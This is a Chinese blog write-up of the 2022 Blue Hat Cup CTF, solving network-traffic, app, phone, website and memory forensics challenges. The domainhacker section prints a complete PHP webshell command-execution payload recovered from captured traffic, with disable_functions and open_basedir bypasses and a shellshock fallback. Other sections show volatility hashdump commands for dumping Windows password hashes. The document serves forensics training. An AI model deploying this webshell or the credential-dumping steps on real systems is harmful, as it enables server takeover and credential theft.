iami233
iami233
文章175
标签37
分类4

文章分类

文章归档

蓝帽杯 2022 Writeup

蓝帽杯 2022 Writeup

一觉起来蓝帽杯还有一个多小时结束QAQ,划划水做了几题下线了。整体来说蓝帽杯体验还是不错的,大部分电子取证题很适合新手。

MISC

domainhacker

公司安全部门,在流量设备中发现了疑似黑客入侵的痕迹,用户似乎获取了机器的hash,你能通过分析流量,找到机器的hash吗?flag格式:flag{hash_of_machine}

全是 HTTP 流量,我们直接追踪 TCP流流10 发现了 mimikatz

image-20220709184706210

流13 发现了一个压缩包

image-20220709184841410

我们直接导出所有 HTTP对象

image-20220709184901623

得到一堆文件和一个加密压缩包1.rar

image-20220709185029725

打开看了一下,1(17).php 对应着 流13 的内容,所以我们直接看前一个请求信息 1(16).php 里请求了什么,简单格式化一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
<?php
a = @ini_set("display_errors", "0");
@set_time_limit(0);
$opdir = @ini_get("open_basedir");
if ($opdir) {
$ocwd = dirname($_SERVER["SCRIPT_FILENAME"]);
$oparr = preg_split("/;|:/", $opdir);
@array_push($oparr, $ocwd, sys_get_temp_dir());
foreach ($oparr as $item) {
if (!@is_writable($item)) {
continue;
};
$tmdir = $item . "/.37120390cd";
@mkdir($tmdir);
if (!@file_exists($tmdir)) {
continue;
}
@chdir($tmdir);
@ini_set("open_basedir", "..");
$cntarr = @preg_split("/\\\\|\//", $tmdir);
for ($i = 0;$i < sizeof($cntarr);$i++) {
@chdir("..");
};
@ini_set("open_basedir", "/");
@rmdir($tmdir);
break;
};
};;
function asenc($out) {
return $out;
};
function asoutput() {
$output = ob_get_contents();
ob_end_clean();
echo "d1588" . "7ac2af";
echo @asenc($output);
echo "bb1" . "ca7";
}
ob_start();
try {
$p = base64_decode(substr($_POST["yee092cda97a62"], 2));
$s = base64_decode(substr($_POST["q8fb9d4c082c11"], 2));
$envstr = @base64_decode(substr($_POST["p48a6d55fac1b1"], 2));
$d = dirname($_SERVER["SCRIPT_FILENAME"]);
$c = substr($d, 0, 1) == "/" ? "-c \"{$s}\"" : "/c \"{$s}\"";
if (substr($d, 0, 1) == "/") {
@putenv("PATH=" . getenv("PATH") . ":/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin");
} else {
@putenv("PATH=" . getenv("PATH") . ";C:/Windows/system32;C:/Windows/SysWOW64;C:/Windows;C:/Windows/System32/WindowsPowerShell/v1.0/;");
}
if (!empty($envstr)) {
$envarr = explode("|||asline|||", $envstr);
foreach ($envarr as $v) {
if (!empty($v)) {
@putenv(str_replace("|||askey|||", "=", $v));
}
}
}
$r = "{$p} {$c}";
function fe($f) {
$d = explode(",", @ini_get("disable_functions"));
if (empty($d)) {
$d = array();
} else {
$d = array_map('trim', array_map('strtolower', $d));
}
return (function_exists($f) && is_callable($f) && !in_array($f, $d));
};
function runshellshock($d, $c) {
if (substr($d, 0, 1) == "/" && fe('putenv') && (fe('error_log') || fe('mail'))) {
if (strstr(readlink("/bin/sh"), "bash") != FALSE) {
$tmp = tempnam(sys_get_temp_dir(), 'as');
putenv("PHP_LOL=() { x; }; $c >$tmp 2>&1");
if (fe('error_log')) {
error_log("a", 1);
} else {
mail("a@127.0.0.1", "", "", "-bv");
}
} else {
return False;
}
$output = @file_get_contents($tmp);
@unlink($tmp);
if ($output != "") {
print ($output);
return True;
}
}
return False;
};
function runcmd($c) {
$ret = 0;
$d = dirname($_SERVER["SCRIPT_FILENAME"]);
if (fe('system')) {
@system($c, $ret);
} elseif (fe('passthru')) {
@passthru($c, $ret);
} elseif (fe('shell_exec')) {
print (@shell_exec($c));
} elseif (fe('exec')) {
@exec($c, $o, $ret);
print (join("
", $o));
} elseif (fe('popen')) {
$fp = @popen($c, 'r');
while (!@feof($fp)) {
print (@fgets($fp, 2048));
}
@pclose($fp);
} elseif (fe('proc_open')) {
$p = @proc_open($c, array(1 => array('pipe', 'w'), 2 => array('pipe', 'w')), $io);
while (!@feof($io[1])) {
print (@fgets($io[1], 2048));
}
while (!@feof($io[2])) {
print (@fgets($io[2], 2048));
}
@fclose($io[1]);
@fclose($io[2]);
@proc_close($p);
} elseif (fe('antsystem')) {
@antsystem($c);
} elseif (runshellshock($d, $c)) {
return $ret;
} elseif (substr($d, 0, 1) != "/" && @class_exists("COM")) {
$w = new COM('WScript.shell');
$e = $w->exec($c);
$so = $e->StdOut();
$ret.= $so->ReadAll();
$se = $e->StdErr();
$ret.= $se->ReadAll();
print ($ret);
} else {
$ret = 127;
}
return $ret;
};
$ret = @runcmd($r . " 2>&1");
print ($ret != 0) ? "ret={$ret}" : "";;
}
catch(Exception $e) {
echo "ERROR://" . $e->getMessage();
};
asoutput();
die();
&p48a6d55fac1b1=Tw&q8fb9d4c082c11=YNY2QgL2QgImM6XFxXaW5kb3dzXFxUZW1wIiZyYXIuZXhlIGEgLVBTZWNyZXRzUGFzc3cwcmRzIDEucmFyIDEudHh0JmVjaG8gZWZhOTIzYmE1MDQmY2QmZWNobyAxYTRiZTg4MTVlZjg=&yee092cda97a62=6iY21k

发现拼接了三个$_POST 的参数 p48a6d55fac1b1q8fb9d4c082c11yee092cda97a62,拼接一下这三个参数的值

1
TwYNY2QgL2QgImM6XFxXaW5kb3dzXFxUZW1wIiZyYXIuZXhlIGEgLVBTZWNyZXRzUGFzc3cwcmRzIDEucmFyIDEudHh0JmVjaG8gZWZhOTIzYmE1MDQmY2QmZWNobyAxYTRiZTg4MTVlZjg6iY21k

base64 解码后得到

1
2
O
cd /d "c:\\Windows\\Temp"&rar.exe a -PSecretsPassw0rds 1.rar 1.txt&echo efa923ba504&cd&echo 1a4be8815ef8:

至此我们得到 1.rar 的解压密码 SecretsPassw0rds,解压后得到机器的 hash416f89c3a5deb1d398a1a1fce93862a7

image-20220709185655917

电子取证

程序分析_1

现已获取某个APP程序,请您对以下问题进行分析解答。

本程序包名是?(答案参考格式:abc.xx.de)

直接 Jadx 打开,在 AndroidMainfest.xml 里面找到包名 exec.azj.kny.d.c

image-20220709182414616

程序分析_2

本程序的入口是?(答案参考格式:abc.xx.de)

入口肯定是 Main,我们直接找到 Main,得到入口 minmtta.hemjcbm.ahibyws.MainActivity

image-20220709182527621

程序分析_3

本程序的服务器地址的密文是?(答案参考格式:abcABC123)

程序分析_2 中得到的入口中得到一段 base64 编码

1
return new String(Base64.decode("aHR0cHM6Ly9hbnNqay5lY3hlaW8ueHl6", 0), "utf-8");

解密后得到一段地址,所以说这段 base64 编码肯定就是flag了。

1
https://ansjk.ecxeio.xyz

手机取证_1

现对一个苹果手机进行取证,请您对以下问题进行分析解答。

627604C2-C586-48C1-AA16-FF33C3022159.PNG图片的分辨率是?(答案参考格式:1920x1080)

打开 盘古石阅读器 ,直接在左上角 搜索 中搜索 627604C2-C586-48C1-AA16-FF33C3022159.PNG

image-20220709183106264

成功检索到该文件,我们选择图片然后右键导出

image-20220709183045710

得到分辨率 360x360

image-20220709183208195

手机取证_2

姜总的快递单号是多少?(答案参考格式:abcABC123)

手机取证_1 同样的操作, 搜索 框里搜索 单号 得到 SF1142358694796

image-20220709183340600

网站取证_1

据了解,某网上商城系一团伙日常资金往来用,从2022年4月1日起使用虚拟币GG币进行交易,现已获得该网站的源代码以及部分数据库备份文件,请您对以下问题进行分析解答。

请从网站源码中找出木马文件,并提交木马连接的密码。(答案参考格式:abcABC123)

直接 D盾 扫描得到 runtime\temp\0f71e181346d43e56722aec663e5d4e9.php 一句话木马,连接密码 lanmaobei666

image-20220709183821066

网站取证_2

请提交数据库连接的明文密码。(答案参考格式:abcABC123)

一看目录结构就知道是 ThinkPHP ,直接查看 application/database.php 文件,不过这里是调用了自定义 my_encrypt() 函数

image-20220709184031264

我们直接在文件夹内搜索 my_encrypt 得到 application\encrypt\encrypt.php,直接 var_dump(my_encrypt()); 调用该函数输出数据库密码。

image-20220709184249725

网站取证_3

请提交数据库金额加密混淆使用的盐值。(答案参考格式:abcABC123)

既然是金额,我们直接搜索 money 得到 application\admin\controller\Channelorder.php 发现调用了自定义函数 encrypt()

image-20220709184423422

我们直接在文件夹内搜索 encrypt 得到 application\admin\controller\Channelorder.php,加密混淆使用的盐值为 jyzg123456

image-20220709184532211

计算机取证_1

现对一个windows计算机进行取证,请您对以下问题进行分析解答。

从内存镜像中获得taqi7的开机密码是多少?(答案参考格式:abcABC123)

附件下载地址见平台公告,解压密码为93ce7ea39bdd7baa137f1e9b963b7ee5

我们先自动分析内存所属的操作系统和版本

1
.\volatility.exe -f E:\BaiduNetdiskDownload\计算机取证\1.dmp imageinfo

然后在查看镜像里的win7密码

1
.\volatility.exe -f E:\BaiduNetdiskDownload\计算机取证\1.dmp  --profile=Win7SP1x64 hashdump

image-20220709215858796

得到 hash 密码 7f21caca5685f10d9e849cc84c340528,使用cmd5解密后得到 anxinqi

计算机取证_2

制作该内存镜像的进程Pid号是多少?(答案参考格式:1024)

直接列出进程列表

1
.\volatility.exe -f E:\BaiduNetdiskDownload\计算机取证\1.dmp  --profile=Win7SP1x64 pslist

看到 MagnetRAMCaptuPid2192

image-20220709222143093

本文作者:iami233
本文链接:https://5ime.cn/bluehatcup-2022.html
版权声明:本文采用 CC BY-NC-SA 3.0 CN 协议进行许可